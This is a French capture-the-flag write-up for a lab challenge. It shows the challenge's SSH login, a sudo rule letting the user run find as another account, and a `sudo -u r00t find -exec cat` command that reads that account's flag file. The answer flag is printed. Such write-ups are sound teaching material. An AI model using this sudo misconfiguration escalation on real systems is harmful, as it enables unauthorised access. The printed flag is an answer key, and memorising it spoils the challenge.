GTFO of here

Catégorie: Système Difficulté: - Flag: CTFREI{GTFOBIN_1s_0p}

Challenge

Description


Votre but est de vous connecter en tant que r00t (à ne pas confondre avec root). Le flag est situé ici: /home/r00t/flag/flag.txt

Connexion SSH: ssh [email protected] -p 4444

Mot de passe: jail

Solution

Une fois connecté, on peut lister les privilèges que l'on a avec la commande sudo -l

jail@13132cebe0e0:/$ sudo -l
Matching Defaults entries for jail on 13132cebe0e0:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jail may run the following commands on 13132cebe0e0:
    (r00t) NOPASSWD: /usr/bin/find

On voit que l'on peut lancer la commande find avec les droits de r00t.

Cette commande est assez spéciale puisqu'en plus de chercher des fichiers, elle permet également d'exécuter des commandes avec l'option -exec.

Utilisons donc cette commande pour afficher le contenu de /home/r00t/flag/flag.txt avec les droits de r00t.

jail@13132cebe0e0:/$ sudo -u r00t find -exec cat /home/r00t/flag/flag.txt \;
CTFREI{GTFOBIN_1s_0p}
CTFREI{GTFOBIN_1s_0p}
CTFREI{GTFOBIN_1s_0p}
CTFREI{GTFOBIN_1s_0p}

Dernière mise à jour

Cet article vous a-t-il été utile ?